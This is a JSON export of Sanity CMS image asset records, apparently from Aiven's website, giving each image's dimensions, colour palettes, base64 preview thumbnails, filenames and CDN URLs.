{"_createdAt":"2022-06-30T19:56:50Z","_id":"image-037b1825572b6c234bc97f5d4f4041157c65f834-600x272-png","_rev":"QRl2cGoCgj0FlAhkRrhbl0","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:13Z","assetId":"037b1825572b6c234bc97f5d4f4041157c65f834","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M15;~+xu9G%MbwL}tRXnfRx^PpaKZ#R*xY","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.2058823529411766,"height":272,"width":600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAABWklEQVQokU2Pi4orIQyG+yLVaIzG6DhtZ+dup8sW9v0fabEDhwMfPyHw5XJh7wORBQCl/mE0SJRlnudx5BBa83oFpfQnT/T1eulLKTkTogUgA84ANgw5J8zCTIhG6xM4U+kmK3W5lVK6jhDJQs84CN2ESqTMjRJ9ZhKPH5x4jITOGKN121xy7lJy1nqjh4h7odr77RbW3q/FryWsxW99qHfe77z1YSqhC4jwkfuuO89GrcTqnuDBZhQ7JTuJHaP91DhnXLKbEg7i8v9yf/6stTfgrSELZMEb7W3rkNEn3rbagUYD7WylLlkkp9Q2GyMcUk4xJ06xkVsG4RA5xMASAgciZ62FUxbmFIUQA9Htfn/M07At03NvHNt81Om5j3Wdj3151bFuwzJ1pTiLTW4TY/TOdambxvXxtYxLfb7e8/Ycl71+v/fj52up2+t9/PzO+7HU17bXFAWU+gMIKVa6R6mMAQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#334565","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#592204","foreground":"#fff","population":0.13,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9e7550","foreground":"#fff","population":0.51,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#afbcb3","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c8a184","foreground":"#000","population":0.13,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e7550","foreground":"#fff","population":0.51,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#935523","foreground":"#fff","population":0.3,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"037b1825572b6c234bc97f5d4f4041157c65f834-600x272.png","path":"images/sczeoy4w/production/037b1825572b6c234bc97f5d4f4041157c65f834-600x272.png","sha1hash":"037b1825572b6c234bc97f5d4f4041157c65f834","size":21489,"uploadId":"Y4FB9xs28l2LnsNAsLr7UsSzOaVVi5EQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/037b1825572b6c234bc97f5d4f4041157c65f834-600x272.png"} {"_createdAt":"2022-09-17T18:25:30Z","_id":"image-0d53522e27101d9feefc22a3aa040787501a0308-1566x880-gif","_rev":"4pG2it9AJU1nJxbjoKw01q","_type":"sanity.imageAsset","_updatedAt":"2022-09-17T18:25:30Z","assetId":"0d53522e27101d9feefc22a3aa040787501a0308","extension":"gif","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7795454545454545,"height":880,"width":1566},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAMBAgj/xAAfEAACAgEFAQEAAAAAAAAAAAABAgADEQQSITFRQXL/xAAVAQEBAAAAAAAAAAAAAAAAAAABAP/EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/ANPaq5aRyCfQO4UbHr3ohX9dx5RWIyoMrZwvHkAioE1gsTkwidK7GkZP2Ei//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#656f75","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#185a6c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6c8693","foreground":"#fff","population":0.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfbab1","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#91d4e6","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c8693","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2fadcf","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/gif","originalFilename":"aiven-network-graph.gif","path":"images/sczeoy4w/production/0d53522e27101d9feefc22a3aa040787501a0308-1566x880.gif","sha1hash":"0d53522e27101d9feefc22a3aa040787501a0308","size":4253288,"uploadId":"d1MYHBXHO8rXe0wRHeCQCMUU2N8Tbfyc","url":"https://cdn.sanity.io/images/sczeoy4w/production/0d53522e27101d9feefc22a3aa040787501a0308-1566x880.gif"} {"_createdAt":"2024-05-22T09:53:51Z","_id":"image-0d55436cd5e5f12752902e425699e60baeb76b9a-1920x1080-png","_rev":"dpHYNqixoqKfXTNyXGheIg","_type":"sanity.imageAsset","_updatedAt":"2024-05-22T09:53:51Z","assetId":"0d55436cd5e5f12752902e425699e60baeb76b9a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M57nS0~HV=-mxBtUozRiNKWa0KIVRiE3NF","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":1080,"width":1920},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACs0lEQVQokSWSa1MaBxSG9zekml2W3WUv7A0Qg0AkBitESVLNZJrqaCZpnLZTxYgsCgG5yU2r8YPttH/46bB+OjPnw3ueZ84rPJH3iTm/4T2rks7XSWYbGH4N2fyKbNVRnSaa10bzuhipEdbSFM0bIlkdJKtNJN5HjveRrEtEs4Ug6Z/JrgW8+qnPm/djNrdHrJUH5Ip9ChtjfqzcUqx8Z23znlc7/1Le/o/U8xtkex7YIeqMiDpjZHtIxO4/Br4oNdn5MObd7ow376cUt67IFwcUShPWK7e83LoLAzfe/sP6679JZCfI8XZIpno3qN5fj9O/Q1hQPpIp1EPCyrsR5bdXLOVaKHYNxQ7Q3Najst9DT1wR8wfI8RaifkHE6qI4UxT3Gs2/Q08+IPwQPeBZ7oTyZpPV4gXJbEDM/YqoVxH1UySjEQYYiQ5OqkPMbSIZAZJ5HlJGnR5RZ4jiztD8ewTF/JXPez16tVt2tru4y2c46QA/0yKxcom/0ieVv2J7Z8rvH0e8rgxIZbskwv2YZH6KlR6huKNQXdDsQ6pfxtx1Hvjl5yF+po6fOWcp3yH9vEcq1ye9OuBg75p+7ZZP+zesbkzIrc8olO9ZLT3g525Q3WH4HGEhuk8+d8RWKSCVOSEa/xPFrhJzz4h5DVQ7QImfsZxtUi71yBV6OOkOznIfb+UaL/sdIzVFtrvh14UnTz9gqnt47iFW4oiYe4yZqGGnz7HTLWJug0XtmEW1iqSfIeoBotEgYrVRnLnmDNkeIJrfEI0mwoK0i6Hu4jhfiCePMBMn2Et1vEwTP9PBTLaIGKcsaieIeh3JOEcyL5Djl6jeBNWb0/WIWN+QrNZc+YCnygGi9glJP0Qy/kC2jlHsUzSngeZcoNgNovEAdV4ht4PmtsP6mKkZRnKC5s/7OD9wyf8uJooO9SCFVgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#34306b","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142474","foreground":"#fff","population":9.75,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142474","foreground":"#fff","population":9.75,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d3cbd8","foreground":"#000","population":6.95,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7981c3","foreground":"#fff","population":0.52,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#676e9b","foreground":"#fff","population":2.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1e2887","foreground":"#fff","population":7.3,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Event video thumbnail template with two speakers Dark blue.png","path":"images/sczeoy4w/production/0d55436cd5e5f12752902e425699e60baeb76b9a-1920x1080.png","sha1hash":"0d55436cd5e5f12752902e425699e60baeb76b9a","size":365180,"uploadId":"O0SqOzlzYZ39yAlNFFG7Z51s8GFEM3A6","url":"https://cdn.sanity.io/images/sczeoy4w/production/0d55436cd5e5f12752902e425699e60baeb76b9a-1920x1080.png"} {"_createdAt":"2022-06-30T20:00:23Z","_id":"image-0db41484aca0a4d2c037b6e965ddb456ec7dee58-1463x869-png","_rev":"CK1sLU2mnwa3vmbYWEcwOC","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:25:01Z","assetId":"0db41484aca0a4d2c037b6e965ddb456ec7dee58","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M2R:E8_3H?~q?H00M{-V%3R500kCwcM|ni","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6835443037974684,"height":869,"width":1463},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAACF0lEQVQokWVRbWvbQAz2//8ha2ynZU1iJ2PLl0EZg7K1H9Y2iR0G2+pCBnN99ukk3cvQNe7KKniQTi+PXi75tDr/ti5nP1blolmWi6Ys5k25mEUsi3mzLBZNMZ9FjLFiMWtWxax5X86bd+X8fr0qHj5/KPdf18U6uZjl98uzfDib5jSd5pilE0xP3kSIPc0zFL8gzzLM0hTTdIKn2QTf5hOcpifm/DSjj/Npe7nIL5Nf9fbwfbfhersJVbULu+023N3ehrubm6g3m7tQVVWo6zpitPcCyd9t/b6qws99pe/r7XUCejig1sSIgZm9Mcb3fe+7rvNKKT8Mg0dELzEBEUWIba19gnPBWjsg0lUCWh+MAbLWilMIQ9/3YRiGIDYRiT8456RhANAxrrUeY/5YOxDRdQIAB0QkKXDOyTQxGQAikff+Gc7a6O979YqQmQdEfE0oSVIk042Eo0gOEgYN+mXci//fhMYcDBqSdaSbTPg/4fOEzgUiDGAgSJ68/ZNEQmYWQjgAAEmCHFo+QGvtASAeXqaOFUFqnWcmj2hi7IWEI+FVokELIR8JAxoT9PFDxs8Y144ry41BRx03iA3juQZrbbzhAwAAIlrLzETIaIAJkZ1zMsYz5C3NO6VYKcWgNZMxxESOmTtm/iKENQD8RsRHZm6tta09audc672PegQitn3ft0qptldd23ePfwalHkHrxhhz8RdRVX10sxQDaAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#533930","foreground":"#fff","population":0.29,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6b3018","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#533930","foreground":"#fff","population":0.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e0d1c1","foreground":"#000","population":0.11,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dd967d","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c8c7c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d97d59","foreground":"#fff","population":0.26,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"0db41484aca0a4d2c037b6e965ddb456ec7dee58-1463x869.png","path":"images/sczeoy4w/production/0db41484aca0a4d2c037b6e965ddb456ec7dee58-1463x869.png","sha1hash":"0db41484aca0a4d2c037b6e965ddb456ec7dee58","size":150806,"uploadId":"tW3OrbcjCPz7Usqx8AledLzz5Vs1FsZH","url":"https://cdn.sanity.io/images/sczeoy4w/production/0db41484aca0a4d2c037b6e965ddb456ec7dee58-1463x869.png"} {"_createdAt":"2024-03-22T09:57:15Z","_id":"image-0dc068d561d88e54641b3bb1ea03f38fd8df5634-2880x1416-png","_rev":"Y34ePYFQ489qDVybEGCq3j","_type":"sanity.imageAsset","_updatedAt":"2024-03-22T09:57:15Z","assetId":"0dc068d561d88e54641b3bb1ea03f38fd8df5634","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7R{+2%M?w-;?bN*obWuxaD*0NxtxvR*R,","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.0338983050847457,"height":1416,"width":2880},"exif":{"PixelXDimension":2880,"PixelYDimension":1416,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABYlAAAWJQFJUiTwAAABqUlEQVQokXWRa3PbIBBF/f//YJumkZ3EtiyhFwLxEBIns9huOp3physGLfdwdzlMc0Y024xZMqpf+F1d+fnrnZfXj7IWvbzz4+X0Z/9a1VwaRzdm2iFzVZlblzmMc2bUd+hkMmrwvH80vFVnqtOl6Hi68HY881Z9Uh3PVMcLH2eF6kPxdFOmVpmmzxwkmUgKAp/Mhp49Wlv0bJnNgjHLY3VY6zFFEev20pX41JjpdeYQ14wPO4vfWHzGhR3nV3yIxBhZRetKShvbthfte2bbMmvK3P3iy4SYOUgxhJXFeeKaCDExmYVJzxhrcc4RQihQWa0xWGsJIZK2rcCfyjlzkI/zAT0bvA8sPnLrRs51S6MGtDYsi7sDnaNvW9qmYZo03ntSSo/U+zdQbhOTJFxcoG56Pi83WjWU+clF0rKMoOsG6rpBqe4buknSv4Drmsphucm7QNcOKNUzm0drKRWDi4lrN/NZK25NS9f1GGOL/z/ArQB7NTJNcxmFAJ8GFyLXR/pnQuek7X8SCuiZQgDjMJXZyWGR/JNaDIFOtTS3Bq3n8kjildrzUb4ADmoCama3TbkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#44444c","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#19476b","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2f87ca","foreground":"#fff","population":0.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5bdd5","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#94d4fc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b47464","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2f87ca","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Screenshot 2024-03-22 at 11.57.00.png","path":"images/sczeoy4w/production/0dc068d561d88e54641b3bb1ea03f38fd8df5634-2880x1416.png","sha1hash":"0dc068d561d88e54641b3bb1ea03f38fd8df5634","size":666050,"uploadId":"qAYnlDTL58ln7UXY900TI5gi5Zr0AOEG","url":"https://cdn.sanity.io/images/sczeoy4w/production/0dc068d561d88e54641b3bb1ea03f38fd8df5634-2880x1416.png"} {"_createdAt":"2023-11-08T15:53:23Z","_id":"image-0dd4b1ae74d4128d5fddc3e6b4bd614d05fd25c0-193x72-svg","_rev":"YgPujUcKQ2JSpcKSYYhsE8","_type":"sanity.imageAsset","_updatedAt":"2023-11-08T15:53:23Z","assetId":"0dd4b1ae74d4128d5fddc3e6b4bd614d05fd25c0","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D4K$g_$Q|_$h]k1dbHJSjZWo","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.6805555555555554,"height":72,"width":193},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAABIUlEQVQokXWRyyvEcRTFf4wp47VQhLxfK2dGI8ZG+ZgsSE2KYisriR0rErYWlsqODf+g1ZnR5esxyeJ0O3XO+X7vuZlRVqeYxfzCXx6z2MTr//DMKG/UY1QwajHKGXUbdRq1JnQl5JKmI2naEi+kjHwElo32jKpGfUZTRjtGm0aDRiNGNaNtozGjAaMNo12jmeTBaN9oMQKPjF6Mbo2KSfxkdB8CoxWjB6NHo1WjBaM7o2ejLaM5oyujV6PTCIzXr40OjcaNlowujE6MZpPhzOg8PThtdGx0abRsNGp0YHQTm0VgfHnSaMioPXUxkVaNrqLLWDUQPUZfw0kT2vCENzL6P6+0VsoatcrP1YKvzzfzaumbN6rlrP6Lv1V6PzRx5XdlQdxk8UPaMQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4e303c","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#95070a","foreground":"#fff","population":0.24,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#95070a","foreground":"#fff","population":0.24,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#93050b","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f84d54","foreground":"#fff","population":0.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a35e5c","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f44514","foreground":"#fff","population":0.09,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"stars-five.svg","path":"images/sczeoy4w/production/0dd4b1ae74d4128d5fddc3e6b4bd614d05fd25c0-193x72.svg","sha1hash":"0dd4b1ae74d4128d5fddc3e6b4bd614d05fd25c0","size":1106,"uploadId":"gSTRQ2yS24dmoVHzL7Re6oG1S2oxPIVQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/0dd4b1ae74d4128d5fddc3e6b4bd614d05fd25c0-193x72.svg"} {"_createdAt":"2024-03-26T16:06:29Z","_id":"image-0e0c526f890c9eac6624851f809b255f07da054d-535x286-png","_rev":"ufDkV2u6FBQU7CTzX9iVly","_type":"sanity.imageAsset","_updatedAt":"2024-03-26T16:06:29Z","assetId":"0e0c526f890c9eac6624851f809b255f07da054d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MPBgc7xvDNoe%jIwflMvWAoht2Rjf-RiM_","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8706293706293706,"height":286,"width":535},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC40lEQVQokX3PX0jTURQH8CP9ESq1P09REb1EJEKhxirJWmklEUSFUJL9NbP97n737t77+93NTbe5/baVRhohpq3N7belRNRD9Npbj71mtja3+7M/7z3og7HRSxQd+HI4cPgcDsDvGp5ZhMFnRRiIFyGasWqiGas+YsrdoZTcKZ4Ur6KxvP9GLNfSFfpcHX/7vUqbWICHLxYhYlrwRy0vL8PS0lIF9CeK4Hu6UAY3RUzZHk7Jy/1TxS40mje7jdz7Tv+8D40WbNGMtTWYlKvvPbfASMu/wXIezH6F4HQJRma/QixrrYmYsiGckjc9k0VxI5bLnvN+etcZmH+kTxRvR0xrXzAp18Sy/wH1iTzcy1oQTslKjLSsCadlhz9R0pTRvLfbyA05xwreQLLUbZhyly9eqmq4/gEMU/775eK3n3AtmqtcDKcr4FojLY8ZaWmEUtIIJuVAOC1ZxLSORkxrfcSUFWxkZvFP0Ek4uLgHxiemYHDoPoQSOYhlv0M0I6uHpmVbIFkaGZqWI6GUDASSJd2fKNmDydJ6z5SEwXgBNHc/cOEFpvcD1TwAhAnoUzAoKgWHk4IrkICVlRWYfPNjFRorNPbc/+JzPMx7yOPCnZ7hLwPXY7mLfQ8+bzwTXoEe36sqhDk4iQaqSwOV6gBc98KtOwo4nC7oQwR6e2/DpKgHqF2ANja33U7mLp7knzrOeuabT9CPl4675uxtulx3QZ0Bw2kDh0pBURkomAHCDABhvg1hvkVRaa2isjqE+WZEtI2E8roreHzrKcfbPafvvt51/m58xxnHy4ZzaHZ3ryu6hWlaLWGeOkxFHWGi3GsIExvKqh1hdlhRmU3BrBVhfgIR3oSpvpcwsY8w9/5yMBWNhIlmwtyHCBM2wsQBTIUNU/0QpuIgpnozpqKpDLYgzI8gzNsR4ZechF92Eq2FMLHXxd2NhLkPl1NeJqwytxImjmIqWjHV2zEVHYSJk5iK45jq9l+niIGcrj+PYQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#414856","foreground":"#fff","population":2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#06114a","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#84a1e0","foreground":"#000","population":5.57,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#788eb7","foreground":"#fff","population":0.4,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#84a1e0","foreground":"#000","population":5.57,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5d7096","foreground":"#fff","population":0.58,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3064d4","foreground":"#fff","population":1.19,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-google-cloud-marketplace.png","path":"images/sczeoy4w/production/0e0c526f890c9eac6624851f809b255f07da054d-535x286.png","sha1hash":"0e0c526f890c9eac6624851f809b255f07da054d","size":42725,"uploadId":"BeET76XBiniBibxDYLJrgYHVN4RTFSUK","url":"https://cdn.sanity.io/images/sczeoy4w/production/0e0c526f890c9eac6624851f809b255f07da054d-535x286.png"} {"_createdAt":"2022-09-07T11:39:43Z","_id":"image-0e149027ad6432057ac699a57e7f06a9b1c62064-24x24-svg","_rev":"CK1sLU2mnwa3vmbYW9GIh9","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:43Z","assetId":"0e149027ad6432057ac699a57e7f06a9b1c62064","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACGUlEQVQ4jaVVPU9UQRQ9uGBFTEi2ocPEBGEhobeyYsXExgQ3biK8uQMdBDsTOn6D8aNGaCxQQ0GirY3+ADt/gv6DOebeub43j49djC+Zve/uzJx37secAfzhEGDMI20ADJhgwA1WmOAzgFs+Bhj/pIdtQG6iw4A7FNw3W6FTzw3z+pEPaYwaQMEMBZGCd2YDZuo5XcdxgDCQPAZmFyh4mwQ/3S6kdWOe14wLmaEADJiioE/BZwp+U/DF/ApT5brROQytcLsU7FDwlYIfbtXvpi0gbQOsRoGJf1XBHtl7j4KXFJxS8Mqt+j3uZzAdus/2xoa1+k2oOjYxScEDCj462GO36q9pOiyaMkWxjaE/0xTcdmb3KDjw/O1RMO/2zGxAlznkmxTMWvEilpNgyTGmFXAlCfYpOGLEJwq+U3BCwSoDbimzlH1lusinRmIuCXYpOGTEewqOmTFWDNCdY588pC4OmPPNiw524mHrR1bd/+YkjkrAvyEvKX3vwVkLS8PTMAV7KYf9nAF3k1pNS8RBipamXhlyK8F11YO/575cu6RQHxjRTxGdVlFqgPMVq7yaLy600utWKz1piFjbXHl6FHDbFaZo9nSu2ekqlKrrnp6Lx/GX2779HxuG1xMMBR7YBhMMZsF4Y34peWPwaklLjWyppIlLmtp/k7RSdA1URfZ/RNdYqjZqwjXxeg3odaDXgl4PGwX7YbPpD5IO7j1tTXbtAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6e4e44","foreground":"#fff","population":0.52,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#801404","foreground":"#fff","population":0.35,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa5a0b","foreground":"#fff","population":1.91,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#943c04","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f87624","foreground":"#fff","population":0.69,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#986c58","foreground":"#fff","population":0.69,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa5a0b","foreground":"#fff","population":1.91,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-activity.svg","path":"images/sczeoy4w/production/0e149027ad6432057ac699a57e7f06a9b1c62064-24x24.svg","sha1hash":"0e149027ad6432057ac699a57e7f06a9b1c62064","size":205,"uploadId":"OnFNfBuhWlRUpLGf0JLAxqago3TxRfh6","url":"https://cdn.sanity.io/images/sczeoy4w/production/0e149027ad6432057ac699a57e7f06a9b1c62064-24x24.svg"} {"_createdAt":"2022-11-24T08:32:23Z","_id":"image-06636d127c1e9203c338940c19329655c2f61018-1567x844-jpg","_rev":"z7EiK8inwybcbhSAyBf2pK","_type":"sanity.imageAsset","_updatedAt":"2022-11-24T08:34:30Z","altText":"Growing pains? There's a solution. A big goldfish in a small bowl on Aiven background","assetId":"06636d127c1e9203c338940c19329655c2f61018","description":"Blog hero image: A big goldfish in a small bowl illustrates the challenges faced by a fast-scaling company restricted by its old infrastructure.","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABQAGB//EACIQAAICAQQBBQAAAAAAAAAAAAECAwQABREhUQYSFCIxcf/EABYBAQEBAAAAAAAAAAAAAAAAAAIABP/EACARAAEDAwUBAAAAAAAAAAAAAAEAAhExQZEDBFHB0eH/2gAMAwEAAhEDEQA/AO+XKvt45LEt2ZI1+R5+hh1vzTR6c8NeSd3lfYcLwN+zjF1Q+nXFcbgo3B/Mz1HSqNnQKUs9aOSUEbMw5xEOrZUtiL9JmPW42L7wSD0sQD2O8sQrRosCAKAAOsszlu5NHNwfU50uDn4v/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a3c41","foreground":"#fff","population":0.45,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a265b","foreground":"#fff","population":1.18,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f9a617","foreground":"#000","population":3.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cab8a3","foreground":"#000","population":1.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcdd68","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#596e94","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9a617","foreground":"#000","population":3.03,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"Pain-points-of-fast-growing-companies_blog.jpg","path":"images/sczeoy4w/production/06636d127c1e9203c338940c19329655c2f61018-1567x844.jpg","sha1hash":"06636d127c1e9203c338940c19329655c2f61018","size":278432,"title":"Growing pains? There's a solution.","uploadId":"SXQdtmAR6hbDzpipToSlhrmWff2uR04F","url":"https://cdn.sanity.io/images/sczeoy4w/production/06636d127c1e9203c338940c19329655c2f61018-1567x844.jpg"} 